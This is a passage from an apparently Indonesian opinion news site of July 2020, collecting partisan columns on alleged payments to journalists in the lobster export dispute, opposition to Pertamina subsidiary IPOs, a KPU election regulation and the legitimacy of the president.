kebal hukum. Di sana, mereka tak bisa lagi seenaknya. Tim hukum yang tempohari membela Anda di MK, juga akan diperiksa tuntas. Semua akan dibukakan secara transparan. Niat mereka pun akan ditunjukkan. Apalagi perbuatan mereka. Tapi, Pak Joko, semua informasi tentang kengerian dahsyat di Akhirat sebagaimana diuraikan di atas, hanya berlaku bagi orang-orang yang percaya pada Hari Kebangkitan. Bagi yang tidak mengimaninya, tentu cerita ini tak relevan. Artinya, semua ini seratus persen soal percaya atau tak percaya. Beriman atau tidak beriman. Banyak orang yang pura-pura percaya, padahal mereka tidak. Penulis adalah Wartawan Senior

"Perang" Lobster Libatkan Wartawan TEMPO?

by Mochamad Toha Jakarta FNN - Kamis (09/07). Beberapa nama wartawan media mainstream masuk dalam “Daftar Nama” penerima angpao dalam kunjungan ke luar negeri yang diduga diadakan oleh KKP (Kementerian Kelautan dan Perikanan) era Menteri Susi Pudjiastuti. Ada nama Wahyu Muryadi-Tempo TV (Jepang) Rp 52.603.549; (Italia, Norwegia) Rp 158.704.237; (Amerika Serikat) Rp 161.852.947; (Monako, Polandia, Paris, Italia) Rp 197.837.588. Ada juga nama Arif Zulkifli dari Majalah Tempo (Italia, Norwegia) Rp 110.273.536; (Uni Emirat Arab) Rp 93.563.098. Marvin Sulistio-Tempo TV (Norwegia) Rp 51332.011. Rina Widiastuti-Majalah Tempo (Paris) Rp 55.611.952. Jajang Jamaludin-Majalah Tempo (Amerika Serikat) Rp 15.169.100. Selain TEMPO, yang juga sempat mendapat akomodasi plesir ke luar negeri dari media arus utama lainnya: Kumparan, Metro TV, Detik.com, Kompas.com, Harian KOMPAS, CNN Indonesia, Jakarta Post, TV One, dan Kompas TV. Dalam daftar penerima “akomodasi” itu, dari beberapa nama wartawan Tempo, nama Wahyu Muryadi memang lebih banyak muncul pada rombongan setiap kunjungan ke luar negeri itu. Sepertinya Wahyu Muryadi dapat perlakuan istimewa di KKP saat itu. Nama Rosiana Magdalena Silalahi-Kompas TV (Polandia, Paris, Italia) juga muncul dengan akomodasi Rp 170.960.340. Juga Ecep S Yasa-TV One (Monako, Polandia, Paris, Italia) Rp 200.802.852. Anggi Firdaus-Detik.com (Monako, Polandia, Paris) Rp 180.756.363. Mengapa sampai muncul Daftar Nama wartawan media mainstream yang “dibiayai” Menteri Susi Pudjiastuti justru setelah pimpinan KKP beralih ke Menteri Edhy Prabowo? Apakah ini memang sengaja dibocorin oleh KKP terkait tulisan Majalah TEMPO tersebut? Cover Tempo Pada cover TEMPO (Edisi 6-17 Juni 2020) ada gambar Menteri KKP Edhy Prabowo sedang memasukkan secara berlebihan benih lobster ke dalam mulutnya. Ini yang membuat seorang alumnus Tempo, Bunga Kejora (Bunga Surawijaya) marah. Bunga Kejora yang kini bertugas di Komisi Pemangku Kepentingan dan Konsultasi Publik (KP2) Kementerian Kelautan dan Perikanan membuat tulisan berjudul “Kemarahan seorang alumnus Tempo pada jurnalis Tempo kini”. “Saya syok ketika membuka pesan whatsapp dari seorang kawan tadi pagi. Ada sampul majalahTempo dengan gambar Menteri KKP Edhy Prabowo sedang memasukan secara berlebihan benih lobster ke dalam mulutnya (edisi 6-17Juni 2020),” tulisnya. Disainer grafis pasti direkrut sebagai pekerja profesional di kantor Tempo. Tapi bagaimana dia membuat cover, pastilah atas arahan dari tim redaksi. Redaktur pelaksana yang kemudian memberi persetujuan atas hasil visualisasi disainer grafis itu untuk cover. Mengapa Bunga Kejora dari awal harus menggambarkan proses ini, "Karena saya sering kesal mendengar jawaban “orang Tempo” saat ada kritik atau sikap keberatan atas cover-nya. Argumen mereka enteng, tanpa hati, dari tahun ke tahun." “Ah itu kan soal intrepretasi saja. Tafsiran seni grafis, dan kesan pembaca bisa macam-macam”. “Saya tidak sudi menerima alasan usang itu. Sebagai orang yang lahir dari keluarga seniman, dan mantan TEMPO, saya menyayangkan bahwa TEMPO telah membuat seorang disainer melacurkan diri untuk menggambar “sebuah vonis yang menghina lewat karikatur”,” tegasnya. Jelas ini vonis. Terang benderang bahwa gambar dalam cover Tempo edisi itu adalah ilusi tentang keserakahan. “Saya alumni Tempo juga, tapi di era ketika para senior seperti Goenawan Mohammad, Fikri Jufri, Toeti Kakiailatu dan lainnya masih aktif di meja redaksi,” tulisnya. Bunga Kejora menceritakan, awal tahun-tahun pertama dari 11 tahun belajar di Tempo itu, keras betul GM mengajarkan perlunya skeptis terhadap info yang masuk, tidak memihak, tidak memonopoli kebenaran. “Biarkan pembaca menilai, dan untuk menguatkan independensi, jelas kami (juga) dilarang menerima amplop,” ungkapnya. Itu nilai-nilai yang ditanamkan, selain ketrampilan menulis, tentu saja. Puluhan tahun berlalu, Bunga Kejora terhenyak (lagi) atas kenyataan nilai-nilai baik dari GM utamanya, tak menitis sampai ke redaktur Tempo tahun ini, 2020. Menurutnya, membenci bukan pekerjaan jurnalis, bahkan di saat kita melihat masih banyak orang-orang kekurangan di sekitar kita. Menghasut, juga bukan tugas wartawan berintegritas. Apalagi, menghina seseorang hanya karena tak mampu melihat persoalan dari berbagai sudut, tidak mampu obyektif. Kehormatan jurnalistik terabaikan dan tergadaikan. Tentu saya tidak bisa membandingkan situasi dulu dan sekarang, ketika di jagat media belum ada persaingan yang begitu ketat, termasuk dengan media sosial, yang membuat pimpinan Tempo kini seperti justifies the means hanya untuk memenangkan pasar. “Belum ada model framing pada era 80-90an TEMPO,” tulis Bunga Kejora. Tapi pantaskah berdagang tanpa integritas-apa masih bisa menjadi pembeda dengan jurnalis bodrex, jurnalis pesanan, jurnalis malas, jurnalis diduitin, jurnalis antek pihak tertentu. Yang membuat jurnalis masih bisa dihormati itu adalah ketika dia membaca dan memahami dengan integritas pribadi seluruh info dengan sikap tidak memihak. “Dalam kasus menteri Kelautan dan Perikanan, sudah dapat infokah kalian bahwa Benih lobster bukan hewan langka seperti komodo atau badak bercula satu. Benih lobster ada 27,8 miliar di lautan kita,” ungkap Bunga Kejora. Tahu kan benih lobster itu berasal dari telur lobster yang miliaran jumlahnya? “Dari setiap10 ribu benih loster, ulang ya 10 ribu, hanya 1 yang survive untuk membesar sebagai lobster. Sisanya, 9999 lainnya mati di alam,” jelasnya. “Itulah yang dimanfaatkan oleh pemangku kepentingan di bidang kelautan dan perikanan. Bukan hanya satu mulut. Mungkin karena kalian; reporter dan redaktur belum kenal ratusan ribu keluarga nelayan,” ungkap Bunga Kejota. Bapak, ibunya, anak-anaknya pernah suatu masa berhutang budi pada benih lobster karena telah memanjangkan nafas ekonomi keluarganya. Saat pulang sekolah, anak-anak mengais benih lobster dengan alat tangkap berbentuk kipas. Tentu saja ada eksportir gemuk yang diuntungkan, karena uangnya diperlukan untuk membeli ribuan benih lobster dari nelayan. Lalu apa? “Tahukah juga bahwa di jaman menteri Susi – yang sudah kalian tempatkan lebih mulia daripada menteri penggantinya, nelayan yang berkulit gosong dan bersimbah peluh itu, Tidak Boleh mengambil benih lobster dan lobster muda untuk dikembang biakkan di kolam tambak mereka?” Bunga Kejora meminta, coba pikir lagi, kalau boleh memanfaatkan, memperjual-belikan si bening dengan aturan ketat, benarkah semua keuntungan itu masuk ke mulut pimpinan yang oleh hukum tata negara ditempatkan sebagai pimpinan kementerian yang bertanggung jawab sebagai regulator dan fasilitator. Jelaskan logikanya sebelum mempertontonkan pada publik prasangka tanpa hati. Bodoh itu tidak berdosa. Tapi, “Kalau ada wartawan Tempo malas berpikir, dan punya kepentingan tersembunyi di atas harga dirinya sebagai wartawan, saya merasa seperti ditelan bumi.” “Mari, para alumni Tempo kita ajak anak-anak kita mengembalikan marwah rumah TEMPO, yang dulu disebut sekolah terbaik wartawan, agar kita bisa menegakkan kepala kita kembali sebagai alumni TEMPO,” pinta Bunga Kejora mengakhiri tulisannya, Minggu (5 Juli 2020). Tempo Doeloe “Saya sih oke-oke saja jika Tempo membuka soal pencabutan larangan eksport lobster dan menyorot kebijakan Menteri KKP Edhy Prabowo. Kita lihat saja gimana pendalaman dan pengembangan beritanya setelah laporan utamanya yang terkini,” kata Hendrajit. Namun, Direktur Eksekutif Global Institute itu juga beralasan skeptis terhadap cara Tempo menginvestigasi suatu kasus maupun reputasi-kredibilitas narasumbernya sebagai sumber informasinya. Mengingat investigasinya terkait kasus-kasus sebelumnya. Wartawan senior itu menilai, kelemahan mendasar Tempo dalam investigasi, mengandalkan akses informasi dari jaringan perkoncoan-nya yang memang solid meski sudah jadi alumni Tempo dan bekerja di tempat lain. “Atau bisa juga karena kedekatannya yang sangat personal dengan beberapa pejabat tinggi pemerintahan,” ungkap Hendrajit. Di era Soeharto, Fikri Jufri misalnya, karena alumni FE UI, sangat erat perkoncoan-nya dengan beberapa menteri “mafia” Berkeley seperti Wijoyo, Ali Wardahana, atau Radius Prawiro. Dengan kalangan militer, ia sangat kental perkoncoan-nya dengan LB Moerdani. “Sampai di situ nggak soal sebenarnya, karena punya akses informasi bagi wartawan sangat berharga,” lanjut Hendrajit. Tapi, kalau kemudian kedekatannya itu menjadi personal dan subyektif, maka dalam hasil liputannya yang mengandalkan sumber-sumber info dari para menteri ekonomi yang sangat pro pasar bebas macam Wijoyo atau Ali Wardahana, maka hasil investigasinya secara faktual memang nyata, tapi fakta yang diambil bersifat konfirmasi bias. “Data atau fakta diambil sebagai dasar untuk mendukung asumsi atau pemihakannya pada kepentingan si narasumber. Bukan kepentingan publik secara umum,” tegas Hendrajit. Masih ingat Laporan Utama Tempo waktu membongkar pembelian kapal-kapal rongsokan Eropa Timur oleh BJ Habibie? Secara faktual memang nyata, tapi sumber-sumber informasi yang diperoleh Tempo berdasarkan inside informasi yang diberikan baik dari jalur para teknokrat Berkeley Mafia, maupun dari sayap militer pro Benny Moerdani. Yang mana keduanya punya satu kepentingan, untuk mendiskreditkan BJ Habibie sebagai teknokrat tehnologi yang bertentangan kepentingan dengan kubu teknokrat ekonomi Wijoyo dan kepentingan klik militer Benny Moerdani. Sehingga, betapapun terkandung kebenaran dalam informasi yang diperoleh, namun fakta-faktanya digunakan sebagai konfirmasi bias. Sehingga, dalam pemerintahan Soeharto yang serba terpusat dan kendali kekuasaan yang kuat terhadap jajaran birokrasi dan hirarki militer, maka ketika terjadi perang senyap antar faksi dalam pemerintahan Soeharto, masing-masing faksi yang sedang berseteru itu sama sama memanfaatkan media massa jaringan perkoncoannya masing-masing. Tempo, oleh karena para pengelola medianya seperti Goenawan Mohammad, Fikri Jufri, Bur Rasuanto, Salim Said, Christianto Wibosono, merupakan eksponen aktivis mahasiswa UI angkatan 1966. Dan, beberapa di antaranya juga wartawan harian Mahasiswa Salemba, lantas menjelma menjadi jaringan perkoncoan yang solid bukan saja antar mereka sendiri, tapi juga dengan para senior dan mantan dosennya yang kelak jadi para menterinya Soeharto seperti nama-nama yang disebut Hendrajit itu. Alhasil, dalam pertarungan senyap antara para punggawa dan hulubalang Istana, Tempo memang tetap kooperatif kepada pemerintahan Soeharto. Tapi, memihak pada salah satu faksi jaringan perkoncoan-nya. “Yaitu, dengan para tehnokrat ekonomi pro pasar bebas Berkeley Mafia, dan para perwira militer pro Benny Moerdani,” ungkap Hendrajit. Dan pola ini kemudian diteruskan oleh para pemred dan redpel Tempo generasi kedua seperti eranya Bambang Harymurti, Thoriq Hadad, maupun Wahyu Muryadi dan para junior-junior lainnya. “Maka itu dalam menyingkap kasus Lobster maupun menteri KKP, buat saya fine-fine saja. Tapi, saya juga skeptis pada cara Tempo mengolah investigasinya, maupun merajut fakta-faktanya,” tegasnya. Setidaknya kita berhak bertanya, ada apa dengan Tempo kok kali ini mengangkat isu ini? Dari skala prioritas maupun politik keredaksian Tempo, apakah memang penting banget angkat kasus ini dibanding mega kasus-mega kasus lainnya yang saat ini masih tetap misterius? Penulis adalah Wartawan Senior

Melawan Rencana IPO Anak Usaha Pertamina (Bagian-1)

by Dr. Marwan Batubara Jakarta FNN – Kamis (09/07). Menteri Badan Usaha Milik Negara (BUMN) Erick Thohir setelah Rapat Umum Pemegang Saham RUPS) Pertamina pada 12 Juni 2020 meminta Dirut Pertamina menyiapkan dua anak usaha Pertamina melantai di bursa. Menawarkan saham perdana di Bursa Efek Indonesia (BEI). Kata Erick Thohir, "jadi target dua tahun ke depan Ibu Nicke bisa go publickan satu sampai dua sub-holding Pertamina. Jadi bagian transparansi, akuntabilitas supaya jelas," usai RUPS Pertamina di Jakarta (12/6/2020). Pernyataan Erick tersebut merupakan perintah yang harus dijalankan manajemen Pertamina. Untuk maksud itu, tampaknya telah disiapkan berbagai alasan. Termasuk meminta pendapat sejumlah pakar, pengamat atau pesohor agar mendukung dan menjustifikasi. Dengan begitu, rencana tersebut dapat berjalan mulus dan sekaligus mendapat dukungan publik. Sikap IRESS terhadap rencana tersebut tetap konsisten sejak dulu, yakni menolak dengan tegas. Sebelumnya, pada Juli 2010, bersama angggota DPR Chandra Tirta Wijaya, Guru Besar Fakultas Ekonomi Universitas Indonesia (FEUI) Sri Edi Swasono dan Jajaran Pimpinan Federasi Serikat Pekerja Pertamina Bersatu (FSPPB), IRESS telah membacakan sikap penolakan terhadap rencana Initial Public Offering (IPO) Sub Haloding Pertani. Sikap tersebut disampaikan kepada pemerintah (Kementrian BUMN) agar rencana IPO Pertamina Hulu Energy (PHE) segera dibatalkan. Rencana IPO 20% saham PHE yang saat itu dimintakan persetujuannya kepada DPR akhirnya dibatalkan pemerintah. Pada November 2019, IRESS kembali menolak rencana pemerintah melakukan “IPO terselubung” berupa akuisisi Pertagas oleh PGN. Penolakan IRESS ini hanya berbentuk tulisan terbuka. Semula sikap ini akan disampaikan pada satu seminar di Ruang GBHN Nusantara V DPR/MPR. Belakangan penyeampaian sikap tersebut batal karena wakil dari Serikat Pekerja Pertamina mengundurkan diri akibat tekanan dari manajemen. Salah seorang pengurusnya malah “dibuang” ke luar Jawa. Karena dianggap mencoba-coba mengganggu agenda “IPO terselubung” tersebut. Saat rencana IPO PHE terjadi pada 2010, sistem tata kelola pemerintahan masih berjalan normal dan konstitusional. Karena itu setiap langkah dan kebijakan strategis pemerintah dikonsultasikan dengan DPR. Namun untuk kasus akuisisi atau “IPO terselubung” Pertagas oleh PGN, situasi dan kondisi penyelenggaraan negara dan pemerintahan sudah berubah. Pemerintahan Jokowi yang telah berikrar ingin mem-buyback Indosat atau menjadikan Pertamina mengungguli Petronas ini telah berhasil “mengakali” rakyat sekaligus wakil rakyat. Akibatnya, persetujuan DPR atas akuisisi Pertagas oleh PGN berhasil di-bypass. Ini bisa saja terjadi, karena DPR tidak sadar atau sudah berubah sikap menjadi bagian dari pemerintah. Untuk rencana obral aset negara di Pertamina berikutnya, atau sebutlah itu IPO subholding seperti yang disampaikan oleh Erick dan Nicke, situasi dan kondisi tampaknya akan lancar. Berangkat dari kegagalan pelaksanaan IPO PHE 10 tahun lalu, tampaknya strategi dan peraturan untuk memuluskan rencana telah tersebut disiapkan komprehensif dan matang. Persetujuan DPR bisa saja tidak lagi dibutuhkan. Karena yang dijual hanya saham anak usaha. DPR pun bisa sengaja enggan untuk menggunakan hak pengawannya. Namun demikian, rakyat harus tetap melawan. Untuk itu perlu dipahami kenapa melawan. Alasan terpenting adalah migas merupakan sektor strategis. Migas menyangkut hajat hidup rayat banyak yang harus dikuasai Negara. Tata kelola dan melalui BUMN sesuai dengan perintah Pasal 33 UUD 1945. Hal ini bukan saja telah menjadi tekad dan amanat pendiri bangsa, terutama Bung Karno dan Bung Hatta, tetapi juga telah diperkuat oleh Putusan Mahkamah Konstitusi No.36/2012 dan No.85/2013. Alasan berikutnya, para investor asing dan pengusaha liberal-kapitalis sangat berminat memperoleh manfaat besar dari sejumlah mata rantai bisnis sektor migas yang sangat menguntungkan. Untuk itu, disiapkan dan direkayasa dengan cara yang sedemikian rupa, sehingga sebagian saham dari mata rantai bisnis yang menguntungkan tersebut (cream the la cream) dapat dikuasai. Pintu masuk untuk mengusai itu, melalui skema IPO. Dimana saham sebuah perusahaan dilepas ke pasar saham (bursa efek) secara umum untuk pertama kalinya. Aktivitas menjual saham ke publik melalui bursa efek selaku pasar keuangan resmi di Indonesia dikenal dengan istilah Go Public. Dengan melakukan IPO, ada beberapa tujuan yang ingin dicapai oleh sebuah perusahaan. Misalnya, bisa mendapatkan pendanaan murah, akses dana jangka panjang, memperoleh citra yang baik, meningkatkan nilai perusahaan dan memperoleh insentif pajak. Namun untuk itu, mata rantai bisnis atau anak usaha yang harus dijual adalah yang terbaik dan menguntungkan (cream the la cream). Jika prospek bisnisnya tidak menguntungkan atau tidak jelas, siapa yang akan beli? Sebaliknya, dengan melepas atau “mempreteli” satu per satu mata rantai bisnis yang menguntungkan dari BUMN seperti Pertamina, sesuai skenario dari kapitalis-liberal, atau dikenal juga dengan istilah unbundling, maka BUMN hanya akan “menikmati” bisnis ampas yang kurang menguntungkan. Lambat laun, semua lini bisnis yang menguntungkan akan terjual. Maka untung yang diperoleh akan lebih banyak dinikmati asing atau para pengusaha kapitalis-liberal. Padahal jika semua lini bisnisnya berjalan utuh secara “bundled”, maka BUMN Pertamina dapat melakukan fungsi-fungsi strategis negara secara optimal. Pertamina bisa melakukan fungsi cross-subsidy antar wilayah dan antar konsumen yang hingga saat ini mengalami kesenjangan yang lebar. Selain itu, merujuk Pasal 2 Undang-Undang No.19/2003 tentang BUMN, maka tujuan pembentukan BUMN antara lain berkontribusi terhadap ekonomi nasional. Juga melakukan tugas-tugas perintisan. Tugas-tugas tersebut, tidak akan opitimal jika oleh anak-anak usaha yang telah Go Public. Sebaliknya, kemampuan Pertamina untuk cross-subsidy akan berkurang karena sebagian keuntungan telah beralih kepada perusahaan lain. Salah satu contoh ironis yang dilakukan pemerintahan pro asing, pro kapitalis-liberal saat ini adalah membiarkan SPBU-SPBU swasta asing berbisnis di kota-kota besar di Indonesia. Sementara Pertamina diwajibkan menyediakan BBM hingga pelosok negeri. Tentu saja dengan beban biaya sangat besar. Dengan bisnis Pertamina dibiarkan untuk digerogoti asing, maka kemampuan Pertamina melakukan cross subsidy juga semakin berkurang. Sebagian malah harus ditanggung oleh APBN. Kita tidak anti modal asing. Dapat saja menerima skema IPO agar BUMN dapat memperoleh dana atau modal. Namun jika modal dan citra diperoleh dengan melanggar konstitusi, mengorbankan kedaulatan dan prinsip-prinsip strategis negara yang bernilai “kualitatif”, maka hal tersebut harus ditolak. Selain itu, jika aspek moral hazard dan nuansa perburuan rente seputar IPO dan proses IPO patutu untuk ikut diperhitungkan. Sehingga keuntungan “kuantitatif” akses dana murah dan dana jangka yang diperoleh melalui skema IPO justru jangan sampai sirna begitu saja. Dalam dunia akademis dikenal adanya tools yang sering digunakan dalam pengambilan keputusan penting dan strategis. Tools tersebut antara lain adalah Cos-Benefit Analysis (CBA) dan Multi-Criteria Decision Analysis (MCDA). Pada CBA, keputusan diambil terutama pada kriteria ekonomi-keuangan. Begitu juga dengan MCDA. Keputusan yang daimbil harus mempertimbangkan berbagai kriteria. Milsanya, ekonomi-finansial, legal-konstitusional, sosial-politik, dan lain-lain. Kriteria-kriteria tersebut pun lumrah diberi bobot bebeda-beda sesuai urgensi dan prioritas. Dalam rencana IPO subholding Pertamina, tampaknya yang dipilih adalah metode CBA. Seperti disebut di atas. Metode inipun justru bisa tidak valid, jika prilaku moral hazard yang berperan dan dominan dalam proses IPO. Dari pengalaman yang sudah-sudah, moral hazard sangat dominan dalam IPO BUMN atau anak perusahaan BUMN. Padahal, karena Pasal 33 UUD 1945 masih berlaku, maka kondisi kesenjangan sosial antar wilayah yang harus diatasi dengan cross-subsidy yang saelama ini dilakukan Pertamina. Dengan ketahanan energi nasional yang masih sangat rendah, maka seharusnya yang dipilih dalam mengambil keputusan adalah metode MCDA. Sebenarnya, kebutuhan dana dapat diperoleh melalui penerbitan obligasi. Toh pola ini sudah lama dilakukan oleh Pertamina atau PLN. Kedua BUMN ini biasa menerbitkan obligasi dengan tingkat bunga atau kupon yang justru lebih rendah dibanding kupon obligasi terbitan pemerintah. Sebaiknya pemerintah, terutama Menteri BUMN Erick Thohir untuk membatalkan rencana IPO anak-anak perusahaan Pertamina. Perintah Erick kepada Dirut Nicke bukan sesuatu yang relevan dan legal harus dijalankan. Seperti yang mungkin dan umum berlaku pada perusahaan milik swasta atau pribadi. BUMN itu milik negara. Bukan milik “seseorang” seperti pernah diungkap Erick pada 26 Februari 2020 yang lalu di Jakarta. bersambung. Penulis adalah Managing Direktor Indonesian Resoeurces Studies (IRESS)

KPU Mutilasi UUD 1945 dan UU No. 7/2017

by Radhar Tribaskoro “UUD 1945 pasal 6A menyebutkan bahwa “Pasangan calon Presiden dan Wakil Presiden yang mendapatkan suara lebih dari lima puluh persen dari jumlah suara dalam pemilihan umum dengan sedikitnya dua puluh persen suara di setiap provinsi yang tersebar di lebih dari setengah jumlah provinsi di Indonesia, dilantik menjadi Presiden dan Wakil Presiden.” Jakarta FNN – Kamis (09/07). Ketentuan konstitusional Pasal 6A UUD 1945 ini dikutip dengan sangat lengkap dalam Pasal 416 ayat 1 Undang-Undang No.7/2017 Tentang Pemilihan Umum. Tidak ada penambahan maupun pengurangan satu kalimat, kata atau hurup dari redaksi Pasal 6A UUD 1945. Dengan demikian, maka menurut konstitusi dan perundang-undangan kita, terdapat dua norma untuk keterpilihan pasangan calon presiden dan wakil presiden (paslonpres). Pertama, norma tentang representasi pemilih individual (suara terbanyak). Kedua, norma yang berkaitan dengan representasi masyarakat provinsial. Dipilih dengan suara minimum 20% di setiap provinsi, dan kemenangan yang tersebar di lebih dari 50% provinsi). Kedua norma tersebut normal dan umum dalam praktek ketatanegaraan dunia. Beberapa negara seperti India dan Amerika Serikat misalnya, menerapkan metode electoral college dalam pemilihan presidennya. Metode tersebut memberi kesempatan rakyat memilih langsung presidennya. Namun suara rakyat itu dihitung habis di tingkat negara bagian. Paslonpres yang memperoleh suara terbanyak memperoleh semua electoral college (hak suara) yang dimiliki oleh negara bagian itu. Selanjutnya paslonpres yang memiliki jumlah electoral college terbanyak akan dipilih menjadi presiden dan wakil presiden. Dalam metode electoral college ini jumlah electoral college yang dimiliki suatu negara bagian ditentukan oleh jumlah penduduknya. Dengan ketentuan ini, pada umumnya paslonpres yang memperoleh electoral college terbanyak juga memperoleh suara pemilih terbesar. Tetapi selalu ada perkecualian. Dalam sejarah pilpres di Amerika Serikat, ada lima paslonpres yang memenangkan popular votes tetapi kalah perolehan electoral college. Contoh terdekat adalah ketika Al Gore kalah dari George Bush dalam pilpres tahun 2000. Al Gore unggul 500.000 suara, tetapi kalah lima electoral college dari Bush. Prinsip dua norma ini, juga berlaku dalam pemilihan presiden secara tidak langsung di parlemen. Misalnya, yang terjadi di Jerman, Pakistan, Italia, dan lain-lain. Dalam sistem parlemen bikameral, wakil rakyat yang dipilih secara individual (lower house) mengadakan joint session dengan wakil daerah (senat) untuk memilih presiden. Pada beberapa Negara, parlemen-parlemen daerah menunjuk wakil untuk bergabung dalam pemilihan presiden itu. Tak Perlu Sewenang-Wenang Dengan argumentasi di atas, dapat disimpulkan bahwa ketentuan konstitusi yang menghendaki adanya keterwakilan individu dan keterwakilan masyarakat tidak mengada-ada (arbitrary). Ketentuan tersebut telah dipraktekan selama ratusan tahun oleh banyak negara di dunia. Peraturan KPU Nomor 5 Tahun 2019 telah memutilasi prinsip keterpilihan yang diatur dengan tegas, jelas dan dinyatakan oleh UUD 1945 pasal 6A dan UU No.7/2017 pasal 461. Peraturan KPU tersebut telah mendrop norma keterwakilan masyarakat. Sebaliknya, menjadikan keterwakilan individu (suara terbanyak) sebagai satu-satunya norma keterpilihan paslonpres. Permasalahan inilah yang saya kira yang menjadi semangat dan spirit dari keluarnya Putusan Mahkamah Agung No. 44 P/HUM/2019. Putusan yang menyatakan bahwa Peraturan KPU Nomor 5 Tahun 2019 nyata-nyata telah bertentangan dengan perundangan-undangan di atasnya, yaitu Pasal 6A UUD 1945 dan Pasal 461 UU No.7/2017 pasal 461 Apa kata KPU? KPU selalu berdalih bahwa situasi persaingan biner hanya bisa diputuskan melalui norma suara terbanyak. Itu alasan mereka membuat peraturan di atas. Namun cara berpikir itu berdampak KPU telah memutilasi keinginan luhur dan mulia dari pembuat konstitusi yang ingin mendrive perilaku paslonpres agar tidak memusatkan perhatian kepada provinsi yang kaya suara saja dengan mengabaikan provinsi sedikit suara. Para penulis dan pembuta konstitusi sangat menyadari bahwa, kalau hanya menerapkan norma suara terbanyak, maka paslonpres hanya memusatkan perhatian di Pulau Jawa saja, sudah lebih dari cukup untuk memenangkan pilpres. Karena di Pulau Jawa terdapat lebih dari 50% suara pemilih. Namun demikian, di tengah ketidak-seimbangan pembangunan antara Jawa dan Luar Jawa itulah, keinginan dari konstitusi itu sangat luhur mulia. Sayangnya, KPU telah melangkah sangan jauh. Langkah KPU melampaui kewengan dari pembuat kontitusi dan pembuat undang-undang. KPU telah memutilasi keinginan luhur tersebut. KPU misalnya, beralasan dan mengatakan bahwa Peraturan KPU Nomor/2019 itu mesti dibuat karena undang-undang tidak menjelaskan situasi dimana paslonpres hanya ada dua (biner). Menurut saya keresahan ini tidak perlu ada. Membuat aturan sendiri untuk hal yang tidak diperlukan adalah perbuatan yang sewenang-wenang. Melampaui kewenangan dari para pembuat konstitusi dan undang-undang. Undang-Undang No.7/2017 Tentang Pemilu memang tidak secara implisit menjelaskan situasi paslonpres banyak dan paslonpres biner. Namun undang-undang itu dengan tegas mengatakan bahwa, bila dalam situasi paslonpres banyak, tidak ada paslonpres memperoleh suara lebih separuh, pilpres harus dilanjutkan ke tahap dua. Di tahap kedua ini dilombakan dua paslonpres dengan bersuara terbanyak itu. Komisioner KPU Mengundurkan Diri Saja Dengan menyatakan bahwa pilpres tahap dua, yang terdiri dari dua paslonpres, maka UU No.7/2017 secara implisit sudah mengafirmasi situasi kemungkina ada dua paslonpres. Ini berarti Peraturan KPU No.5/2019 tidak lagi diperlukan. Dengan kata lain, prinsip dua norma sebagaimana tercantum dalam pasal 461 ayat 1 UU No.7/2019 berlaku utuh dan tidak perlu ditafsirkan dan dipersoalkan oleh KPU yang posisi dan kedudukannya hanya sebagai penyelenggara. Peratanyaa, apakah bila norma keterwakilan suara di setiap provinsi minimal 20% tersebut diadopsi, berarti dimungkinkan pilpres bakal tiada akhir? Tidak akan ada pemenang? Karena norma tersebut sulit dipenuhi? Tentu saja tidak. Perolehan 20% suara bukan jumlah yang unattainable. Paslonpres akan dapat memenuhi ketentuan tersebut, asalkan ketentuan tersebut masuk ke dalam elemen strateginya. Kekhawatiran yang tidak perlu, telah membuat KPU secara sewenang-wenang melucuti norma tersebut dari pemilihan presiden. KPU telah berubah dari hanya pelaksana pemilu menjadi pembuat norma baru UUD 1945 dan undang-undang. KPU periode 2017-2022 terus dilanda masalah. Pilpres tahun lalu dipenuhi protes public. Dimulai dari orang gila ikut menjadi pemilih. Situng yang dirancang tidak bisa menjumlah dengan benar. Proses yang sangat lambat. Kematian 894 petugas KPPS yang tidak disidik secara wajar, sampai demo protes yang menelan puluhan jiwa meninggal dan hilang entah kemana. Inkompetensi KPU terbukti dan terkonfirmasi dengan tertangkapnya komisioner Wahyu Setiawan dalam kasus suap Harus Masiku. Begitu juga dengan dipecatnya komisioner Evi Novinda Ginting karena telibat dalam manipulasi suara. Satu demi satu kebobrokan KPU terbuka dengan sendirinya kepada publik. Bukan itu saja. Ketua KUP Arief Budiman dan tiga Komisoner lainnya Viryan Azis, Ilham Saputra dan Pramono Ubaid Tanthowi sudah diberikan sanksi, berupa peringatan keras dan terakhir oleh Dewan Kehormatan Penyelenggara Pemilu (Kompas.com 25 Juni 2020). Sekarang KPU terbukti sewenang-wenang dalam membuat peraturan tentang pemilu. Semau udelnya dewe. Tragisnya, peraturan yang dibuat oleh KPU tersebut nyata-nyata telah menabrak dua perundang-undangan di atasnya, yaitu UUD 1945 dan Undang-Undang Nomor 7 Tahun 2017 tentang Pemilu. Dampaknya sangat besar dan luar biar terhadap legitimasi Presiden dan Wakil Presiden sekarang. Maka, kebijakan terbaik yang harus dilakukan KPU di bawah pimpinan Arief Budiman adalah mengundurkan diri. Itupun kalau masih paunya rasa malu dan bersalah. Penulis adalah Pengamat Politik

Presiden Gadungan?

by M. Rizal Fadillah Jakarta FNN – Kamis (09/07). Presiden gadungan adalah terjemahan dari "Fake President". Bukan Presiden sebenarnya. Ini bisa berarti Presiden tidak kompeten, baik sebagai Kepala Negara atau Kepala Pemerintahan. Bisa juga sebagai boneka yang dimainkan oleh orang, kelompok, atau kekuatan lain. "Fake President" dapat juga identik dengan Presiden abal-abal. Presiden gadungan juga disebabkan delegitimasi atas jabatan. Misalnya, hilangnya kepercayaan rakyat. Keberadaan Presiden dinilai hanya merepotkan dan menyusahkan rakyat. Rakyat menderita oleh perilaku dan kebijakan politik Presiden yang dianggap "tak berkualitas" dan "tak memiliki sensitivitas" terhadap kesulitan dan penderitaan rakyat. Penilain yang seperti ini adalah efek dari orientasi dan kebijakan Presiden yang hanya menguntungkan dirinya dan kroninya. Lalu rakyat pun menjadi bulan- bulanan dari slogan yang hanya bernilai pencitraan. Akibatnya, penderitaan yang dialami rakyat menjadi permanenn dan tidak berkesuadahan. Presiden gadungan atau "Fake President" adalah pemimpin dari negara yang ilegal. Keabsahan statusnya goyah. Sebagai contoh adalah kejutan kasus yang terbuka setelah "disembunyikan" sembilan bulan lamanya di Mahkamah Agung (MA). Putusan MA Nomor 44 P/HUM/2019 yang menyatakan Pasal 3 ayat (7) Peraturan Komisi Pemilihan Umum (PKPU) Nomor 5 tahun 2019 tidak memiliki kekuatan hukum mengikat. Makan rontoklah dasar hukum yang dijadiklan KPU untuk menetapkan pasangan Jokowi-Ma'ruf Amin. Beberapa ahli atau loyalis Presiden menyatakan Putusan MA Nomor 44 P/HUM/2019 tanggal 28 Oktober 2019 tersebut, tidak berlaku surut (retroaktif). Alasan mereka, karena tak 